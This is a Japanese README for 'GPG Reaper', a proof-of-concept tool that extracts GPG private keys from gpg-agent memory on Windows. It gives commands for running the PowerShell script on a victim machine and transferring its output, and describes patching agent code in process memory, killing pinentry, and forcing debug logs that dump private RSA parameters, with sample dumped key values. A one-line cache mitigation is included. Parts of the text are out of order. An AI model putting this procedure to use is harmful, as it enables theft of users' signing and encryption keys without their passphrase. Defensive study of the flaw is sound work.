
GPG Reaper - gpg-agentのキャッシュ/メモリからGPG秘密鍵を取得/盗用/復元する
TL;DR: gpg-agentのキャッシュ/メモリからGPG秘密鍵を取得/盗取/復元する
このPOCは、Windows上の gpg-agent メモリからGPG秘密鍵を取得する方法を示しています。
通常、これは 10分 の時間枠(--default-cache-ttl 値)内でのみ可能であるはずです。
残念ながら housekeeping() 関数(キャッシュのクリーンアップを担当)は、GPGを使用している場合にのみ実行されます(タイマーはありません)。
つまり、通常のGPG使用例(ファイルに署名し、GUIを閉じて別のタスクを行うなど)では、パスワードは依然として gpg-agent のメモリ内に残ります(ttlが期限切れでも)。
現在のセッションにアクセスできる攻撃者は、パスフレーズを知らなくても秘密鍵を盗むためにこれを使用できます。
注意: GPGはバージョン 2.2.6 でキャッシュメカニズムを変更します。コミット と issue を確認してください。

pip install PGPy
次のエラーが発生した場合:
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:
その場合は:
pip install six==1.10.0
1. Gpg4Win 3.0.3 をインストールします
2. コマンドラインを開き、2秒 のキャッシュ時間でエージェントを起動します:
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
3. Kleopatra を実行し、新しい鍵ペアを生成します

4. サンプルのテストファイルに署名します

5. Pinentry がポップアップし、パスフレーズを要求します

6. 手順 4-5 を繰り返します。2 秒のキャッシュが期限切れになるたびに pinentry が表示されます
7. GPG reaper を実行します
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
次のような表示がされます:
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes
ご覧の通り、鍵をダンプしています。これは housekeeping 関数を NOP したために可能になりました。
8. 秘密鍵を復元します:
python gpg_reaper.py .\testme.txt
秘密鍵がファイルにダンプされます:
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-Agent は、プロトコルから独立して秘密鍵を管理するデーモンです。
GUI インターフェースは Assuan プロトコル を使用してエージェントと通信します。
デフォルトでは、エージェントはあなたの認証情報をキャッシュします。
--default-cache-ttl n オプションは、キャッシュエントリの有効期間を n 秒に設定します。
デフォルトは 600 秒です。キャッシュエントリにアクセスするたびに、そのタイマーはリセットされます。
Windows での署名プロセスは次のようになります:

ここで重要なのは housekeeping() 関数で、期限切れの認証情報をメモリから削除する役割を担います。
しかし、1つ問題があります。この関数は2か所(agent_put_cache と agent_get_cache 内部)でのみ実行されます。
つまり、キャッシュされた認証情報は、agent_put_cache または agent_get_cache または agent_flush_cache を使用する gpg-agent コマンドが実行されるまで、メモリから 削除されません。
被害者コンピュータ上で:
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
out.txt を自分のマシンに転送し、秘密鍵を復元します:
gpg_reaper.py out.txt
秘密鍵は別々のファイルにダンプされます。
GPG がデフォルトディレクトリ以外にインストールされている場合:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
デバッグメッセージを表示したくない場合:
Gpg-Reaper -Verbose $false
あなたがペネトレーションテストを行っており、GPG がインストールされたコンピュータでシェルを取得したと仮定します。
ユーザーが最近 GPG を使用し、キャッシュが期限切れになっていない場合、次のことができます:
1. ファイルに署名する:
c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe を実行
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
2. 秘密鍵をエクスポートする:
c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe を実行
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
残念ながら、これは期待通りに動作せず、パスワードを要求します。
なぜなら、cmd_export_key() 関数は agent_key_from_file() を CACHE_MODE_IGNORE フラグで実行するため、キャッシュは使用されず、毎回ユーザーにパスフレーズが要求されます。
パスワードを知らなければ gpg-agent を介して GPG 鍵をエクスポートすることはできない ことがわかっています。
しかし、ここには小さな抜け穴があります。エージェントにはいくつかのオプションがあります:
1. --debug-level
問題を調査するためのデバッグレベルを選択します。level は数値またはキーワードです:
guru - 取得可能なすべてのデバッグメッセージ。
2. --log-file file
すべてのログ出力をファイルに追加します。これはエージェントが実際に何をしているかを確認するのに非常に役立ちます。
gpg-agent.exe --daemon --debug-level guru --log-file out.txt を使用してエージェントを起動し、ファイルに署名してみましょう。
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<[email protected]>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
2018-03-04 18:21:18 gpg-agent[7180] DBG: (rsa
2018-03-04 18:21:18 gpg-agent[7180] DBG: (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (e #010001#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
2018-03-04 18:21:18 gpg-agent[7180] DBG: (flags pkcs1)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))
guru モードでは n、e、d、p、q、u の数値がログファイルに出力されるようです。これを使用して、公開鍵と秘密鍵を計算できます。
内部的には、skey の値は DBG_CRYPTO が設定されている場合に gcry_log_debugsxp() によって出力されます:
if (DBG_CRYPTO)
{
gcry_log_debugsxp ("skey", s_skey);
gcry_log_debugsxp ("hash", s_hash);
}
この攻撃から保護したい場合は、キャッシュを無効にする必要があります。
%APPDATA%\gnupg\gpg-agent.conf を作成/変更します:
default-cache-ttl 0
max-cache-ttl 0
gpg-connect-agent.exe、gpg-agent.exe、gpg.exe のパスが正しいか確認します
gpg-agent.exe の sha256 が対応しているか確認します
gpg-agent.exe プロセスが実行中か確認し、OpenProcess を使用して開きます
Start-Job を使用して、すべての pinentry プロセスインスタンスを強制終了するジョブを開始します。これにより、キャッシュにない鍵を要求した場合でも、ユーザーの操作なしで続行できます
housekeeping() と agent_pksign_do() から元のバイトを読み取り、スクリプト実行後に復元できるようにします
housekeeping() 関数を NOP して、期限切れのキャッシュがメモリから削除されないようにします

gpg.exe --list-secret-keys --with-keygrip を使用して、利用可能なすべての秘密鍵のリストを取得します

gpg-connect-agent.exe を使用して次のコマンドを実行します:SIGKEY %key_grip%
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
ログファイルに n、e、d、p、q、u の数値が含まれているか確認します。含まれている場合は、ユーザーに返します。
手順 7 の各鍵について手順 8-11 を繰り返します
これで、PGPy ライブラリを使用して秘密鍵を復元できます。gpg_reaper.py を参照してください。
Gpg-agent は ASLR なしでコンパイルされているため、PowerShell スクリプト内でハードコードされたオフセットを使用しています。
そのため、指定されたバージョンのみがサポートされています:
| Version | gpg-agent.exe sha256 |
|---|---|
| 3.0.3 | D1B331229966F1DCD00988BDE45E6496D447ECBF90AE35046859A67D5B55665A |
| 3.0.2 | 3FDF8E4509DEEA66646F98C4A23AA7C4E0C124997BD2C66E706E4A969DDA18A8 |
このファイルは、最新の Windows システムで外部依存関係なしで実行できるためです。
gpg-connect-agent.exe、gpg-agent.exe、または gpg.exe がデフォルトの場所に存在しません。
次のようにカスタムの場所を指定してみてください:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
このシステムでは gpg-agent.exe が実行されていないため、秘密鍵を復元できません。
現在、このスクリプトは特定のバージョンのみをサポートしています。
メモリ内にキャッシュされた鍵がないため、秘密鍵を復元できません。
サイズのアイコンは Freepik から www.flaticon.com より提供されました。
Solstice Of Suffering フォントは GraveTech によるものです。
gpg.exe --armor --export %key_fingerprint% を使用して公開鍵を取得します
gpg-agent.exe 内に VirtualAllocEx を使用してメモリを割り当てます。そこにログファイルへのパスを保存し、log_set_file() を呼び出します。
agent_pksign_do() 内の if (DBG_CRYPTO) を、手順 9 で割り当てたメモリへの呼び出しに置き換えます。
| 3.0.1 | BE46382E6BCBF5B358B9D01C5435C326325DB5968955B7A6EC0055607DA51CEE |
| 3.0.0 | C9F4248E1D2B1B88C5037608BB56217703573A243B793C3D9FE76F1A652324FC |